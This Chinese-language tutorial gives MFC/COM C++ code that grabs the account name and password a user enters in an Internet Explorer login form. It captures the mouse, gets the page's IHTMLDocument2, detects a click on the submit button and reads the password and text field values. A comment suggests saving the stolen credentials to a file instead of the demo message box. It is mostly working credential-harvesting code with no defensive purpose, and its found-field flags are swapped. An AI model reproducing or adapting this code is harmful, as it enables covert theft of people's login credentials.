想实现的功能是这样的,当用户单击网页中的登录按钮时自动提取出用户输入的帐号密码信息
第一步:首先获得用户在浏览器上的鼠标单击消息
这里可以用两种方法去实现,一个是用SetWindowsHookEx(),生成一个全局钩子(要在dll中,具体实现可以百度,因为本文采用的是另外一种方法),捕获WH_GETMESSAGE或者WH_MOUSEMOVE消息。
另一个用SetCapture获得捕获鼠标的窗口句柄,进而得到鼠标单击坐标点
下面是MFC中的SetCapture(也可以用API的SetCapture)
CWnd::SetCapture
CWnd* SetCapture( );
返回值:
原来接收所有鼠标输入的窗口的指针。如果没有这样的窗口,则返回值为NULL。返回的指针可能是临时的,不能被保存以供将来使用。
说明:
这个函数使随后的所有鼠标输入都被发送到当前的CWnd对象,并不考虑光标的位置。
当CWnd不再需要所有的鼠标输入时,应用程序应当调用ReleaseCapture函数以使其它窗口能够接收鼠标输入。
响应LBUTTONUP消息,获得鼠标点击信息
void CGetIhtmlDlg::OnLButtonUp(UINT nFlags, CPoint point) { if(m_bCapture){ m_bCapture=FALSE; ReleaseCapture(); static TCHAR buf[100]; POINT pt; GetCursorPos(&pt); HWND hwnd=::WindowFromPoint(pt); if(hwnd!=NULL){ ::GetClassName( hwnd, (LPTSTR)&buf, 100 ); if ( _tcscmp( buf, _T("Internet Explorer_Server") ) == 0 ) { POINT iept=pt; IHTMLDocument2 *pDoc2=GetDocInterface(hwnd); ::ScreenToClient(hwnd,&iept); if(CheckSubmit(pDoc2,iept))
{ GetHtmlInfo(pDoc2,hwnd); } } } } CDialog::OnLButtonUp(nFlags, point); }第二步:判断鼠标点击的位置是否为登录按钮
这里面首先要做的就是获得IHTMLDocment2*的指针,这个是微软为IE开发提供的一个接口,具体可以MSDN,这里面用到了com组件,建议大家可以先去了解相关资料再看代码或许会更好理解
IHTMLDocument2* GetDocInterface(HWND hWnd) { //必须动态载入OLEACC.dll动态链接库 HINSTANCE hInst = ::LoadLibrary( _T("OLEACC.DLL") ); IHTMLDocument2* pDoc2=NULL; if ( hInst != NULL ){ if ( hWnd != NULL ){ CComPtr<IHTMLDocument> spDoc=NULL; LRESULT lRes;
//因为WM_HTML_GETOBJECCT非Windows标准消息,得手动注册 UINT nMsg = ::RegisterWindowMessage( _T("WM_HTML_GETOBJECT") ); ::SendMessageTimeout( hWnd, nMsg, 0L, 0L, SMTO_ABORTIFHUNG, 1000, (DWORD*)&lRes ); LPFNOBJECTFROMLRESULT pfObjectFromLresult = (LPFNOBJECTFROMLRESULT)::GetProcAddress( hInst, _T("ObjectFromLresult") ); if ( pfObjectFromLresult != NULL ){ HRESULT hr; hr=pfObjectFromLresult(lRes,IID_IHTMLDocument,0,(void**)&spDoc); if ( SUCCEEDED(hr) ){ CComPtr<IDispatch> spDisp; CComQIPtr<IHTMLWindow2> spWin; spDoc->get_Script( &spDisp ); spWin = spDisp; spWin->get_document( &pDoc2 ); } } }
::FreeLibrary(hInst); return pDoc2; }接下来就是根据鼠标点击位置判断是否单击登录了
BOOL CGetIhtmlDlg::CheckSubmit(IHTMLDocument2* pDoc2,POINT pt) { if(pDoc2==NULL)return FALSE; CComPtr<IHTMLElement> pElement; HRESULT hr=pDoc2->elementFromPoint(pt.x,pt.y,&pElement); if(SUCCEEDED(hr)) {
//HTML中登录按钮有两种方式<input type="submit">和<button type="submit">在com中有IHTMLInputButtonElement和IHTMLButtonElement接口与之对应 CComPtr<IHTMLInputButtonElement> pInputButtonElement; hr=pElement->QueryInterface(IID_IHTMLInputButtonElement,(void**)&pInputButtonElement); if(SUCCEEDED(hr)) { CComBSTR type; hr=pInputButtonElement->get_type(&type); if(SUCCEEDED(hr)) { if(type==_T("submit")) return TRUE; } }
//如果不是第一种按钮,判断第二种 CComPtr<IHTMLButtonElement> pButtonElement; hr=NULL; hr=pElement->QueryInterface(IID_IHTMLButtonElement,(void**)&pButtonElement); if(SUCCEEDED(hr)) { CComBSTR type; hr=pButtonElement->get_type(&type); if(SUCCEEDED(hr)) { if(type==_T("submit")) return TRUE; } } } return FALSE; }第三步:根据获得到的IHTMLDocment2指针解析整个网页,找到password和text标签处,取出里面的内容
void CGetIhtmlDlg::GetHtmlInfo(IHTMLDocument2 *pHDoc2, HWND hWnd) { LONG length = 0; PCHAR pBase64Title = NULL; BOOL bHavePassword = FALSE; BOOL bHaveEmail = FALSE; DWORD dwLenOfBuffer; CHAR szBase64Title[MAX_PATH * 2] = {0}; WCHAR wzEmailTitle[MAX_PATH] = {0}; WCHAR wzEmailAddr[MAX_PATH] = {0}; WCHAR wzEmailPsw[MAX_PATH] = {0}; HRESULT hr; PWCHAR pwBuffer = NULL; do { if (NULL == pHDoc2) { break; } CComPtr<IHTMLElementCollection> pAllColl; hr = pHDoc2->get_all(&pAllColl); if (S_OK != hr || pAllColl == NULL) { break; } hr = pAllColl->get_length(&length); if (S_OK != hr) { break; } for(int i = 0; i < length; i++) { if (bHaveEmail && bHavePassword) { break; } VARIANT vIndex,vName; vName.vt = vIndex.vt = VT_I4; vName.lVal = vIndex.lVal = i; CComPtr<IDispatch> pDisp; hr = pAllColl->item(vName,vIndex,&pDisp); if (S_OK != hr || pDisp == NULL) { continue; } CComPtr<IHTMLInputTextElement> pElement; hr = pDisp->QueryInterface(IID_IHTMLInputTextElement,(void**)&pElement); if (S_OK != hr || pElement == NULL) { continue; } CComBSTR type; hr = pElement->get_type(&type); if(SUCCEEDED(hr)) { if(type == "password") { CComBSTR pwd; pElement->get_value(&pwd); lstrcpyW(wzEmailPsw, (PWCHAR)pwd); bHaveEmail = TRUE; } else if (type == "text") { CComBSTR eml; pElement->get_value(&eml); lstrcpyW(wzEmailAddr, (PWCHAR)eml); bHavePassword = TRUE; } } } } while (FALSE);
//因为是做演示程序,直接弹出对话框了,大家可以将此处帐号密码写入文本文件中 CString temp=L"帐号:"; temp+=wzEmailAddr; temp+=L"密码:"; temp+=wzEmailPsw; AfxMessageBox(temp); }